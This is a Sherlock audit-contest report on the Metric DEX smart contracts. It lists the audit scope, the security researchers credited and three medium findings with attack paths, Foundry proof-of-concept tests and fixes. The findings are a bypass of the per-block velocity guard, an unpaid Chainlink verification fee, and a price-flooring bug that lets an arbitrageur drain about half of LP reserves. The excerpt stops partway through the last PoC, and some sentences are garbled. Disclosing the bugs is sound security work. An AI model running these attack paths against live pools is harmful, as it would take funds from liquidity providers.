SHERLOCK

Security Review For Metric



Public Bug Bounty Audit Contest Prepared For: **Metric**
Lead Security Expert: **pkqs90**
Date Audited: **July 6 - July 27, 2026**

Introduction

Metric is a DEX that introduces the active pool standard, instead of having liquidity sit at fixed prices like passive pools, its liquidity follows an asset's real price wherever it actually trades. A major on a CEX, a stock on the NYSE, even another pool, so a fraction of the capital does the same work. Pools are programmable, with extensions like stop-loss running natively on the liquidity, and anyone can deploy pools or provide liquidity to earn yield. Built to bring real-world assets onchain and make professional market-making a public good.

Scope

Repository: Metric-OMM/metric-core

Audited Commit: 7b9ab567631a234ba5d467c646a1da9cbfb25479

Final Commit: 4410fecd8997c912ae8861a337e47bfa0c5af6e3

Files:

- contracts/interfaces/callbacks/IMetricOmmModifyLiquidityCallback.sol
- contracts/interfaces/callbacks/IMetricOmmSwapCallback.sol
- contracts/interfaces/extensions/IMetricOmmExtensions.sol
- contracts/interfaces/IExtsload.sol
- contracts/interfaces/IMetricOmmPoolFactory/IMetricOmmPoolFactoryOwner.sol
- contracts/interfaces/IMetricOmmPoolFactory/IMetricOmmPoolFactoryPoolAdmin.sol
- contracts/interfaces/IMetricOmmPoolFactory/IMetricOmmPoolFactory.sol
- contracts/interfaces/IMetricOmmPool/IMetricOmmPoolActions.sol
- contracts/interfaces/IMetricOmmPool/IMetricOmmPoolCollectFees.sol
- contracts/interfaces/IMetricOmmPool/IMetricOmmPoolFactoryActions.sol
- contracts/interfaces/IMetricOmmPool/IMetricOmmPool.sol
- contracts/interfaces/IPriceProvider/IPriceProvider.sol
- contracts/libraries/BinDataLibrary.sol
- contracts/libraries/CallExtension.sol
- contracts/libraries/LiquidityLib.sol
- contracts/libraries/PoolActions.sol
- contracts/libraries/PoolStateLibrary.sol
- contracts/libraries/SignedMath.sol

- contracts/libraries/Slot0Library.sol
- contracts/libraries/SwapMath.sol
- contracts/libraries/ValidateExtensionsConfig.sol
- contracts/MetricOmmPoolDeployer.sol
- contracts/MetricOmmPoolFactory.sol
- contracts/MetricOmmPool.sol
- contracts/types/FactoryOperation.sol
- contracts/types/FactoryStorage.sol
- contracts/types/PoolExtensionsConfig.sol
- contracts/types/PoolOperation.sol
- contracts/types/PoolStorage.sol
- contracts/types/Slot0.sol
- contracts/utils/MetricReentrancyGuardTransient.sol

Repository: Metric-OMM/metric-periphery

Audited Commit: d210a84daf694c52a591d371ceb9b82cece0f79f

Final Commit: 9b69f7591bfdf233db1a396cf25f2dd13abb745b

Files:

- contracts/base/MetricOmmSwapRouterBase.sol
- contracts/base/PeripheryPayments.sol
- contracts/base/SelfPermit.sol
- contracts/common/MetricOmmPoolStateView.sol
- contracts/extensions/base/BaseMetricExtension.sol
- contracts/extensions/DepositAllowlistExtension.sol
- contracts/extensions/OracleValueStopLossExtension.sol
- contracts/extensions/PriceVelocityGuardExtension.sol
- contracts/extensions/SwapAllowlistExtension.sol
- contracts/interfaces/extensions/IDepositAllowlistExtension.sol
- contracts/interfaces/extensions/IOracleValueStopLossExtension.sol
- contracts/interfaces/extensions/IPriceVelocityGuardExtension.sol
- contracts/interfaces/extensions/ISwapAllowlistExtension.sol

- contracts/interfaces/external/IERC20PermitAllowed.sol
- contracts/interfaces/IMetricOmmPoolLiquidityAdder.sol
- contracts/interfaces/IMetricOmmSimpleRouter.sol
- contracts/interfaces/IMetricOmmSwapQuoter.sol
- contracts/interfaces/IMulticall.sol
- contracts/interfaces/IPeripheryPayments.sol
- contracts/interfaces/ISelfPermit.sol
- contracts/interfaces/IWETH9.sol
- contracts/libraries/MetricOmmSwapInputs.sol
- contracts/libraries/MetricOmmSwapPath.sol
- contracts/libraries/MetricOmmSwapQuoteDecode.sol
- contracts/libraries/MetricOmmSwapResults.sol
- contracts/libraries/TransientCallbackPool.sol
- contracts/MetricOmmPoolLiquidityAdder.sol
- contracts/MetricOmmSimpleRouter.sol

Repository: Oracle-Based-Pool/smart-contracts-poc

Audited Commit: 056c20454dd867e388986f83b78d05809b921e49

Final Commit: 8b72555ba7322b97b5c998e1cadee7100677d9a4

Files:

- contracts/AnchoredPriceProvider.sol
- contracts/AnchoredProviderFactory.sol
- contracts/interfaces/IAnchoredProviderFactory.sol
- contracts/interfaces/IAnchorSource.sol
- contracts/interfaces/ICompressedOracleV1.sol
- contracts/oracles/compressed/CompressedOracle.sol
- contracts/oracles/compressed/OracleBase.sol
- contracts/oracles/providers/ChainlinkOracle.sol
- contracts/oracles/providers/docs/en/abuse-protection-integration.md
- contracts/oracles/providers/docs/ru/abuse-protection-integration.md
- contracts/oracles/providers/OracleBase.sol

- contracts/oracles/providers/PythOracle.sol
- contracts/oracles/utils/Codebook256.sol
- contracts/oracles/utils/LazerConsumer.sol
- contracts/oracles/utils/TimeMs.sol
- contracts/oracles/utils/U64x32.sol
- contracts/PriceProviderFactory.sol
- contracts/PriceProvider.sol
- contracts/ProtectedPriceProviderL2.sol
- contracts/ProtectedPriceProvider.sol

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.

Issues Found

High	Medium
0	9

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

0x04
0x237tchio237
0x23r0
0x3b
0x4non
0x4nonX
0x5ul3x
0xAsh
0xDemon

0xMehediSec
0xShoonya
0xSpec
0xZHD_S
0xapple
0xastronatey
0xbepresent
0xbzbee42
0xeix
0xlucky
0xnija
4987914613
ABA
ACai7
AbSattar
Acson
AestheticBhai
Afriaudit
AlexScherbatyuk
Artorias
Artur
AskSecurity
Athenea
BaiMaStryke
Bchen
BensonDynasty
Bizarro
Bluedragon
Brianite
CaptSinBad
CarlosMB138
ChainSentinel-FO
Civitasmass
D.R
D4N0GOTHACKED
Dheeraj_Shah
Draxen
Edoscoba
Emmy
GPT-wrapper
Gaara_
I1iveF0rTh1Sh1t
ITT
IcoinX
InfiniteSec
Invalidatoors
Ironsidesec
JeRRy0422
Jesse639
Jornason
Josh4324
JustSimpleHunter
KassyOlisakwe
Kodyvim
Kvar
Lamsya
LeoGold
Lucas-FManager
MaloneGod
Maroutis
Mistac45
NicingMan
OrangeSantra
Orionn
Otter11
Paulwilson
Pelz
Peter1992
PhinanzDev
ProtocolGhost
Purpledragon
QED
R-Nemes
RV
Rareone
Redteamer231
Robert
Ronke
Ryozen
Saai
Sacnam
Scheggia89
Scout.007
ShadowSec
SiddiqX7860
Sikoh
Sky399
Syv
Tathung
TheBestAuditorAlive
Thisisit
Tradi3
TradingViews
VeyrionSec
ViquetourOnTop
WebIIISecurity
Wojack
WolKalp
Xtray03
Yahaya-Salisu
Zer0Luck
ZeroTrust
aaron
adshao
aidan
anchabadze
angus14
ap4sh
archcypher
argo_the_hacker
axelot
bachpc
basia
bavin
belmo
bicktivism
blackgrease
bladeee
botdidy
buger
canhnguyen26
cccz
chyptex
cnaj_xyz
codecoffeeguy
coinsspor
cryptosfinders
damianbazior
daoth1nh
demonx
deyu4133
dod4ufn
drMurlly
dumebi042
ekomukanga
emjourney
emmet
fadli0x
farismaulana
flora2627
funkornaut

golu25012000
gzeon
hacko
hacnho
heavyw8t
hiram
humaira45
hunraj
iam0ti
iamephraim
ibrahimatix0x01
id57
iepathos
inderchain
ironside
itsjust0xsp
jangy
jayjoshix
jesjupyer
johnnyyy
jokerbuena
jovemjeune
kaiserlimp0
kamran
kehsihba
khaye26
klaus
krikolkk
lanrebayode77
lazymio
legat
lyubomir-slavchev1
m00nxx
mhkarazeybek
michae2xl
mrmtazk
n0fr33w1f14u
natachi
nazarhero
neeloy
newspacexyz
nirohgo
opickabu
oxtensor-01
phantombugz
piki_eth
pkqs90
polymix123
psyone
qna123321
ret2basic.eth
rishiRich
rj_ethh26
rubencrxz
sahuang
santin0x
savidjn
serial-coder
sgtpepper
shayh88
shibdevv
shkedo
silverhero
skybluescar
solomonerous
sonanh08t4
spokodev
t.aksoy
t0x1c
taticuvostru
techjourney
thimthor
thun77
tjonair
uba
undefined_joe
vanoxp
vivekd
wakewolf
was3d
xchk
xxiv
y4y
yahia_sherif
yaohao159258
ydam113
yonko
z-AI-d
zcai
zerodaybugs
zhouxingxing
zpan
zubyoz
zuhaibmohd
zxriptor

Issue M-1: A swapper defeats the per-block price-velocity cap to amplify oracle-shock LP losses on pools using PriceVelocityGuardExtension

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/14

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0x23r0, 0x3b, 0x4nonX, 0xAsh, 0xMehediSec, 0xSpec, 0xbepresent, 0xbzbee42, 0xeix, 0xlucky, 4987914613, AbSattar, Afriaudit, AlexScherbatyuk, Athenea, BaiMaStryke, BensonDynasty, Bizarro, Brianite, CaptSinBad, D4N0GOTHACKED, Dheeraj_Shah, Draxen, Emmy, GPT-wrapper, Gaara_, ITT, IcoinX, JeRRy0422, Jesse639, KassyOlisakwe, Kodyvim, Kvar, LeoGold, NicingMan, OrangeSantra, Orionn, Paulwilson, Peter1992, RV, Rareone, Redteamer231, Robert, Ronke, Saai, Scheggia89, Scout.007, Sky399, TheBestAuditorAlive, Tradi3, TradingViews, VeyrionSec, ViquetourOnTop, WolKalp, Yahaya-Salisu, ZeroTrust, aaron, angus14, axelot, bavin, blackgrease, bladeee, canhnguyen26, chyptex, cryptosfinders, damianbazior, daoth1nh, demonx, deyu4133, dumebi042, ekomukanga, emmet, golu25012000, hacko, heavyw8t, hiram, humaira45, hunraj, iamephraim, id57, iepathos, itsjust0xsp, jayjoshix, jesjupyer, johnnyyy, jovemjeune, khaye26, klaus, lanrebayode77, lazymio, lyubomir-slavchev1, michae2xl, mrmtazk, n0fr33w1f14u, nirohgo, opickabu, piki_eth, pkqs90, qna123321, rj_ethh26, serial-coder, shkedo, skybluescar, solomonerous, spokodev, taticuvostru, thun77, tjonair, vanoxp, vivekd, was3d, xchk, xxiv, yahia_sherif, yaohao159258, ydam113, yonko, z-AI-d, zubyoz, zuhaibmohd, zxriptor

Summary

The per-swap reference reset in `PriceVelocityGuardExtension.beforeSwap` will cause an amplified oracle-shock drain for LPs of pools relying on this guard, as a swapper will split an intra-block price move into N same-block swaps that each pass a fresh full `maxChange` budget (blockDiff==0), so cumulative per-block movement reaches ~N*maxChange with no revert.

Root Cause

Referenced code: https://github.com/sherlock-audit/2026-07-metric/blob/main/metric-periphery/contracts/extensions/PriceVelocityGuardExtension.sol#L57-L75

In `metric-periphery/contracts/extensions/PriceVelocityGuardExtension.sol:57-58` the reference (`lastMidPriceX64/lastUpdateBlock`) is overwritten on every `beforeSwap` call BEFORE the velocity check at `:60-75`, so the check measures the delta against the previous swap's mid, not a block-anchored mid. For same-block swaps `blockDiff = bloc`

`k.number - prevBlock = 0`, so `allowedSq = maxChangê2 * (1 + 0)` and each swap gets a fresh full `maxChange` budget. This contradicts the NatSpec (`:10,:15`: "Caps how fast the provided price can move between blocks" / "maxChangePerBlockE18 * sqrt(1 + blockDifference)"). Under the per-swap reset the `sqrt(1+blockDiff)` term is inoperative dead logic, confirming per-block accumulation was the intended semantics and the per-swap reset is the defect.

Internal Pre-conditions

1. Pool admin enables `PriceVelocityGuardExtension` and calls `setMaxChangePerBlock(pool, maxChange)` with `maxChange != 0` (the guard is the pool's velocity defense).
2. The pool uses a pull-based in-scope price provider (Pyth/Lazer via `PythOracle/LazerConsumer`) whose anchored mid can be updated within a block.

External Pre-conditions

1. The referenced asset price moves within one block by more than `maxChangePerBlock` – i.e. multiple valid signed price updates exist in the block's replayable window (ordinary fast-market conditions). No stale, incorrect, or fabricated price is required.

Attack Path

1. In a single transaction/block, the attacker submits a valid signed price update moving the anchored mid by <= maxChange, then calls `MetricOmmPool.swap` – the pool fetches the fresh quote and calls the guard's `beforeSwap`, which passes and resets the reference to the new mid.
2. The attacker repeats update -> swap N times in the same block. Each step's delta vs the previous swap's mid is <= maxChange, so `blockDiff == 0` and every swap passes (no `PriceVelocityExceeded`).
3. The executed price walks ~N*maxChange within the block; the attacker trades LP inventory at each manipulated intermediate level, realizing in one block the drain the guard was configured to cap per block.

Impact

LPs of a pool relying on this guard suffer an amplified oracle-shock drain. A working guard caps intra-block effective price change to `maxChange` (e.g. 1%), bounding per-block drain to `drain(maxChange)`; broken, one block realizes `drain(N*maxChange)` up to the half-bin-width ceiling – compressing a multi-block price trajectory into one atomic block. On a representative ~1M — per — sidepoolwith‘maxChange = 110). Driven by a non-admin swapper (the guard's "assume admin is not adversary" caveat does not apply) and needs no incorrect/stale price. This amplifies the accepted oracle-shock drain by defeating the in-scope per-block cap that the contest known-issues doc itself names as the intended

mitigation ("update bounds – limit effective change between trades"); worst case is a pool also running a near-zero base fee (`minMargin=0`), removing the fee friction that otherwise blunts the drain.

PoC

Full runnable test in the contest repo: `metric-periphery/test/PoC_VelocityPerBlock.t.sol`. Run: `forge test --match-path test/PoC_VelocityPerBlock.t.sol -vv` (2/2 pass). It calls the real `PriceVelocityGuardExtension` exactly as `MetricOmmPool.swap` does (msg.sender = pool; geometric mid = sqrt(bid*ask), so bid==ask==P pins the mid to P). With `maxChangePerBlock = 1e16` (1%):

- `test_sameBlockSwaps_accumulateBeyondPerBlockCap`: 5 sequential +1% `beforeSwap` calls in ONE block all pass; mid goes 1e20 -> 1.01^5*1e20 = 105101005010000000000; cumulative change = 51010050100000000 (~5.101%) » the 1e16 (1%) per-block cap; `block.number` never advanced.
- `test_singleStep_sameTotalMove_reverts`: the identical ~5.101% move in a SINGLE swap reverts `PriceVelocityExceeded(actualSq=260202521120451001000000000000000000, allowedSq=100000000000000000000000000000000)` – isolating that the guard bounds only per-step distance, not cumulative-per-block.

Mitigation

Only advance the reference when the block changes, so same-block swaps compare against the block-open mid:

```
if (block.number > prevBlock) {
  s.lastMidPriceX64 = midPrice;
  s.lastUpdateBlock = uint64(block.number);
}
```

Within a block `blockDiff==0` and every same-block swap is measured against the first mid seen that block, bounding cumulative per-block movement to `maxChange`; across blocks the `sqrt(1+blockDiff)` scaling still applies. Alternatively accumulate a per-block movement budget.

Discussion

Taridoku

Invalid. The mechanism is real: each swap overwrites the stored reference price and block before the velocity check runs, so same-block swaps are measured per call rather than against the block-opening price. However, the only demonstrated harm is amplifying the oracle-shock two-leg drain that the known issues document excludes, together with its mitigation levers such as oracle and update bounds. No independent

token loss outside that excluded class is proven, and the residual mismatch between the guard's documentation and behavior is below Medium.

Duplicates: #22, #38, #73, #103, #117, #139, #184, #207, #214, #261, #290, #298, #309, #347, #368, #430, #462, #489, #504, #512, #551, #566, #605, #614, #618, #623, #647, #678, #691, #730, #743, #783, #808, #858, #897, #917, #956, #1014, #1100, #1102, #1225, #1232, #1250, #1264, #1268, #1285, #1298, #1440, #1496, #1664, #1748, #1785, #1788, #1789, #1792, #1839, #1875, #1880, #1913, #1924, #1942, #2019, #2024, #2051, #2056, #2057, #2067, #2145, #2177, #2187, #2208, #2239, #2253, #2321, #2322, #2340, #2341, #2363, #2390, #2421, #2425, #2495, #2506, #2522, #2539, #2550, #2560, #2576, #2612, #2624, #2715, #2716, #2717, #2727, #2748, #2760, #2765, #2816

Issue M-2: ChainlinkOracle cannot pay Data Streams verification fees, causing oracle updates to fail

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/141

Found by

0xMehediSec, 0xShoonya, 0xZHD_S, 0xapple, AskSecurity, Bchen, Brianite, Civitasmass, Dheeraj_Shah, GPT-wrapper, Ironsidesec, Kvar, MaloneGod, Saai, TradingViews, WebIIISecurity, Wojack, Yahaya-Salisu, ZeroTrust, adshao, anchabadze, cnaj_xyz, emjourney, farismaulana, hunraj, iam0ti, johnnyyy, jokerbuena, kamran, kehsihba, nazarhero, oxtensor-01, pkqs90, sahuang, serial-coder, shayh88, silverhero, techjourney, tjonair, y4y, yaohao159258, zpan

Summary

`ChainlinkOracle` hardcodes the Data Streams verification payment to zero and never implements an ERC20 fee payment path, which will cause Chainlink-backed oracle updates to fail on paid Data Streams deployments as any pusher submitting an otherwise valid paid report will have `VerifierProxy.verify()` revert before `_store()` refreshes the feed.

Root Cause

In ChainlinkOracle.sol#L27-L29, the verification fee is fixed to `0 wei` even though the comment says the per-report verification fee is paid from the contract balance.

In ChainlinkOracle.sol#L45-L59, the contract stores a configured `feeToken`, but no code ever approves or transfers that token for verifier billing.

In ChainlinkOracle.sol#L78-L82, `_verifyReport()` always calls:

```
return verifierProxy.verify{value: VERIFICATION_FEE}(fullReport,
↪  abi.encode(feeToken));
```

Therefore every verification call sends `0` native tokens and only passes the fee token address as billing metadata. The local Data Streams interface confirms that `parameterPayload` is the ABI-encoded billing fee token and that report schemas carry `nativeFee` and `linkFee` values (IDataStreams.sol#L10-L17, IDataStreams.sol#L24-L34, IDataStreams.sol#L37-L46, IDataStreams.sol#L49-L59).

The provided network config uses nonzero Chainlink fee-token addresses, for example Base networks.json#L509-L512 and Ethereum networks.json#L605-L608.

Internal Pre-conditions

1. A `ChainlinkOracle` is deployed with a real Chainlink Data Streams `VerifierProxy`.
2. `feeToken` is configured to the network billing token, as in the provided Base or Ethereum config.
3. A protected price provider or pool depends on this Chainlink oracle feed for swaps.
4. The previous stored report eventually needs to be refreshed before the provider staleness window expires.

External Pre-conditions

1. The Chainlink Data Streams verifier charges a nonzero native or token fee for the report.
2. A pusher submits an otherwise valid DON-signed report through `updateReport()` or `updateReports()`.

Attack Path

1. A valid Data Streams report becomes available and should refresh the Chainlink-backed feed.
2. The pusher calls `ChainlinkOracle.updateReport(fullReport)`.
3. `_verifyReport()` calls `VerifierProxy.verify()` with `msg.value == 0` and `abi.encode(feeToken)`.
4. For native-fee billing, the verifier receives no native fee.
5. For token-fee billing, the verifier is called by `ChainlinkOracle`, but `ChainlinkOracle` has no ERC20 allowance/payment path for the fee token.
6. `VerifierProxy.verify()` reverts before returning verified report data.
7. `_store()` is never reached, so the feed is not refreshed.
8. Once the previous report exceeds `maxTimeDelta`, Chainlink-backed providers fail closed and swaps depending on them stop working.

Impact

Users cannot swap through pools whose active price provider depends on the paid Chainlink Data Streams feed once the previously stored report becomes stale. This breaks core oracle update and swap functionality for the affected Chainlink-backed deployment. It satisfies the contest Medium category because a core contract function becomes unusable under the intended paid Data Streams configuration.

PoC

The following Foundry test demonstrates both native-fee and token-fee failures against the production `ChainlinkOracle` logic. The verifier mock models the relevant Data Streams billing behavior: it accepts the same report only if the caller pays the required native fee or has approved the required token fee. `ChainlinkOracle` fails both cases because it always sends zero native value and never approves/transfers the fee token.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Test.sol";
import "../contracts/oracles/providers/ChainlinkOracle.sol";
import "../contracts/interfaces/IDataStreams.sol";

contract FeeToken {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external
    ↪ returns (bool) {
        require(balanceOf[from] >= amount, "balance");
        require(allowance[from][msg.sender] >= amount, "allowance");
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract PaidVerifier {
    FeeToken public immutable token;
    bytes public response;
    uint256 public nativeFee;
    uint256 public tokenFee;

    constructor(FeeToken token_) {
        token = token_;
    }
```

```
    function setFees(uint256 nativeFee_, uint256 tokenFee_) external {
        nativeFee = nativeFee_;
        tokenFee = tokenFee_;
    }

    function setResponse(bytes memory response_) external {
        response = response_;
    }

    function verify(bytes calldata, bytes calldata parameterPayload)
        external
        payable
        returns (bytes memory)
    {
        address feeToken = abi.decode(parameterPayload, (address));
        if (nativeFee != 0) {
            require(msg.value == nativeFee, "native fee not paid");
        }
        if (tokenFee != 0) {
            require(feeToken == address(token), "wrong fee token");
            require(token.transferFrom(msg.sender, address(this), tokenFee), "token
            ↪  fee not paid");
        }
        return response;
    }
}

contract ChainlinkOracleFeePaymentPoC is Test {
    bytes32 constant FEED_ID = bytes32(uint256(3) << 240);

    FeeToken feeToken;
    PaidVerifier verifier;
    ChainlinkOracle oracle;

    function setUp() public {
        feeToken = new FeeToken();
        verifier = new PaidVerifier(feeToken);
        oracle = new ChainlinkOracle(address(this), 60, address(verifier),
        ↪  address(feeToken));

        ReportV3 memory report = ReportV3({
            feedId: FEED_ID,
            validFromTimestamp: uint32(block.timestamp),
            observationsTimestamp: uint32(block.timestamp),
            nativeFee: 1 wei,
            linkFee: 1e18,
            expiresAt: uint32(block.timestamp + 1 hours),
            price: 1000e18,
            bid: 999e18,
            ask: 1001e18
```

```
        });
        verifier.setResponse(abi.encode(report));
    }

    function testTokenFeeIsNeverPaid() public {
        feeToken.mint(address(oracle), 1e18);
        verifier.setFees(0, 1e18);

        vm.expectRevert("allowance");
        oracle.updateReport(hex"1234");
    }

    function testNativeFeeIsNeverForwarded() public {
        vm.deal(address(oracle), 1 ether);
        verifier.setFees(1 wei, 0);

        vm.expectRevert("native fee not paid");
        oracle.updateReport(hex"1234");
    }
}
```

Mitigation

Implement the Data Streams billing path explicitly. For native-fee billing, quote or decode the required per-report fee and forward it to `VerifierProxy.verify()`; batch updates must account for every report. For token-fee billing, fund the oracle and approve/pay the actual Chainlink fee manager or verifier spender with safe ERC20 handling before verification. Alternatively, make the pusher supply the exact fee and revert if the verifier fee cannot be paid.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Oracle-Based-Pool/smart-contracts-poc/commit/fb3e4e407bf0bf535d418c68a7480e965e5f5e8c

Issue M-3: Any arbitrageur will drain roughly half of the base-side reserves from liquidity providers of low-priced synthetic pools

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/200

Found by

0x04, 0x237tchio237, 0x4non, 0x5ul3x, 0xDemon, 0xZHD_S, 0xastronatey, 0xeix, 0xnija, ABA, ACai7, Acson, AestheticBhai, Artorias, Artur, AskSecurity, BaiMaStryke, Bizarro, Bluedragon, CarlosMB138, ChainSentinel-FO, Civitasmass, D4N0GOTHACKED, Dheeraj_Shah, Edoscoba, GPT-wrapper, I1iveF0rTh1Sh1t, InfiniteSec, Invalidatoors, Ironsidesec, Jornason, Josh4324, JustSimpleHunter, Lamsya, Lucas-FManager, Maroutis, Mistac45, Otter11, Peter1992, PhinanzDev, ProtocolGhost, Purpledragon, QED, R-Nemes, Ryozen, Sacnam, ShadowSec, SiddiqX7860, Sikoh, Syv, Tathung, Thisisit, Tradi3, TradingViews, Xtray03, Zer0Luck, ZeroTrust, aaron, adshao, aidan, angus14, ap4sh, archcypher, argo_the_hacker, axelot, bachpc, basia, belmo, bladeee, botdidy, buger, cccz, codecoffeeguy, coinsspor, dod4ufn, drMurlly, dumebi042, fadli0x, flora2627, funkornaut, gzeon, hacnho, heavyw8t, ibrahimatix0x01, inderchain, ironside, jangy, jayjoshix, jokerbuena, kaiserlimp0, khaye26, krikolkk, legat, m00nxx, mhkarazeybek, michae2xl, n0fr33w1f14u, neeloy, phantombugz, pkqs90, psyone, ret2basic.eth, rishiRich, rubencrxz, sahuang, santin0x, serial-coder, sgtpepper, shibdevv, shkedo, sonanh08t4, t.aksoy, t0x1c, thimthor, uba, undefined_joe, wakewolf, y4y, yaohao159258, ydam113, zcai, zerodaybugs, zhouxingxing, zpan

Summary

T-he 8decimal floor in the synthetic cross-price calculation will cause a loss of principal for liquidity providers, because any arbitrageur will buy the base token off the underpriced curve in a single swap.

In synthetic mode the AnchoredPriceProvider divides the two 8-decimal USD prices and truncates the result to an 8-decimal integer. For any pair where `token0` is the cheaper asset, that quotient is a small integer, and truncating it throws away most of the price. The pool builds its whole band and its whole liquidity curve on top of that floored mid, so every bin is priced well below fair value and an arbitrageur sweeps the base side for a fraction of what it is worth. The feeds are honest the entire time; the bug is purely in how this contract computes the cross price.

Root Cause

In smart-contracts-poc/contracts/AnchoredPriceProvider.sol:267 the synthetic mid is computed as:

```
mid = Math.mulDiv(mid, ORACLE_DECIMALS, mid2); // ORACLE_DECIMALS = 1e8, default
↪  Math.Rounding.Floor
```

`mid` (=`price(baseFeedId)`) and `mid2` (=`price(quoteFeedId)`) are both 8-decimal USD prices. The result is the base token priced in the quote token, also in 8 decimals, and it is floored. When the true cross ratio is a small number in 8-decimal units (for example `1.9667`), the floor drops it to `1`, a ~49% downward error. That floored value is then fed straight into `_computeBidAsk`, which builds `refBid/refAsk` from it (`AnchoredPriceProvider.sol:307-313` via `_bandEdge` at `:244-250`), so the reference band is centered on the wrong price. The band half-width (`spreadBps + minMargin`) is typically well under 1%, far smaller than the 20-50% floor error, so no bin edge ever reaches fair value.

The contest explicitly puts this class in scope: "The band math (floor/uMax, ceil rounding) is the entire safety boundary, an error there is the high-impact case. If the band math is incorrect and can lead to Medium or higher severity impact, it can be considered a valid issue." It also breaks hard invariant #4 (the anchored band must stay within `mid ± (u + floor)` of the true mid).

Internal Pre-conditions

1. A synthetic `AnchoredPriceProvider` is deployed (`quoteFeedId != 0`) for a pair whose `token0` is the cheaper asset, so the 8-decimal cross price `mulDiv(price(token0_feed), 1e8, price(token1_feed))` is a small integer in `{1, 2, 3, 4}`.
2. A `MetricOmmPool` is created on that provider and liquidity providers hold reserves on the base side, worth at least a few hundred dollars.
3. `minMargin + maxSpreadBps` stay at ordinary values (the band is tight), which is the normal in-envelope configuration.

External Pre-conditions

1. The base/quote USD price ratio sits in the low-mid window, i.e. the base token is priced roughly `1e-8` to `4e-8` of the quote token (for a `$3000` quote that is a base token around `$0.00003` to `$0.00012`). This is a standing market state for many low-priced tokens and it is not attacker controlled.

Attack Path

1. A curator (or anyone, the factory `createAnchoredProvider` is permissionless with an allow-listed oracle) deploys the synthetic provider for the low-priced pair and a pool is created on it. Liquidity providers deposit base-token reserves.
2. The oracles publish honest prices. `getSellAndBuyPrices()` on the pool returns a band centered on the floored mid, roughly 49% below the true cross. Nothing reverts and the pool looks healthy.

3. The arbitrageur calls `MetricOmmPool.swap` to buy `token0` with `token1` (`zeroForOne = false`), with `priceLimitX64 = type(uint128).max`, so the swap walks the entire mispriced ask curve.
4. The swap fills the whole base-side inventory at prices at or below `mid_floored * (1 + half)`. The arbitrageur pays about half of the true value of the tokens received.
5. The arbitrageur immediately holds base tokens worth far more than the quote tokens paid. Liquidity providers are left with the quote tokens paid in, which are worth about half of what the pool held before.

Impact

The liquidity providers suffer an approximate loss of ~49% of the base-side principal in a single swap. In the PoC, the pool value drops from `$9,440` to `$4,830`, a loss of `$4,609.75` (48% of the pool). The arbitrageur gains that same amount. Measured on the affected LPs' base-side principal the loss is ~49%; measured against total pool value it still clears 20% at the top of the `mid=1` window (a value-balanced pool loses ~24.5%), so it exceeds the Critical floor on either measurement axis. The magnitude scales with the price window: `mid=1` gives roughly 20% to 50%, `mid=2` up to ~33%, `mid=3` up to ~25%, and drops below 20% past `mid=4`. Because `token0` is fixed by the address-sorted `token0 < token1` convention the ecosystem uses, this is unavoidable for the canonical pool of roughly half of all affected pairs (the ones whose cheap token sorts lower), with no on-chain guard and no way to invert without breaking router compatibility. The loss is present every block the ratio stays in the window and any arbitrageur can take it, so it is exploitable at any moment.

PoC

Runnable Foundry PoC. It wires the real `MetricOmmPool` (metric-core) to the real `AnchoredPriceProvider` + `AnchoredProviderFactory` + `providers/OracleBase` (smart-contracts-poc) and only injects the honest 8-decimal oracle price, which the program stipulates is always correct and non-stale. Nothing on the vulnerable path is mocked.

Setup (both projects share OpenZeppelin 5.5.0 and via_ir; metric-core's solc 0.8.35 / cancun satisfies the provider's `^0.8.28`):

1. In `repo/metric-core/remappings.txt` add: `scp/=../smart-contracts-poc/contracts/`
2. In `repo/metric-core/foundry.toml` under `[profile.default]` add: `allow_paths = ["../smart-contracts-poc"]`
3. Drop the file below in `repo/metric-core/test/` and run:

```
cd repo/metric-core
forge test --match-contract PoC_SyntheticMidFloor -vv
```

Output:

```
underprice %% (pool ask vs true mid): 49
pool value BEFORE (usd8): 944000000000        // $9,440
pool value AFTER  (usd8): 483024864001        // $4,830
ARB PROFIT (usd8): 460975135999               // $4,609.75
LP LOSS    (usd8): 460975135999               // $4,609.75
LP LOSS as %% of pool value: 48
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;

// PoC: AnchoredPriceProvider synthetic-mid floor mis-prices low-ratio pools, an
↪  arbitrageur
// drains the base-side reserve in one swap. Real pool + real provider + real
↪  oracle gates;
// only the honest 8-decimal price is injected (the program assumes oracle values
↪  are honest).

import {MetricOmmPoolBaseTest, Q64} from "./MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "../contracts/MetricOmmPool.sol";
import {BinState} from "../contracts/types/PoolStorage.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";

import {AnchoredProviderFactory} from "scp/AnchoredProviderFactory.sol";
import {AnchoredPriceProvider} from "scp/AnchoredPriceProvider.sol";
import {IAnchoredProviderFactory} from
↪  "scp/interfaces/IAnchoredProviderFactory.sol";
import {OracleBase} from "scp/oracles/providers/OracleBase.sol";
import {IOffchainOracle} from "scp/interfaces/IOffchainOracle.sol";
import {toTimeMs} from "scp/oracles/utils/TimeMs.sol";

// Real OracleBase with a setData writer standing in for an honest verified push
↪  (same pattern
// as the repo's own TestOracle). register / inSwap / priceGuard / staleness gates
↪  are all real.
contract HonestPricedOracle is OracleBase {
  constructor(address owner_, uint256 maxDrift) OracleBase(owner_, maxDrift) {}

  function setData(bytes32 feedId, uint64 price8, uint16 spread0, uint16 spread1,
  ↪  uint256 refSec) external {
    oracleData[feedId] = IOffchainOracle.OracleData({
      price: price8, spread0: spread0, spread1: spread1, timestampMs:
      ↪  toTimeMs(refSec * 1000)
    });
  }
}

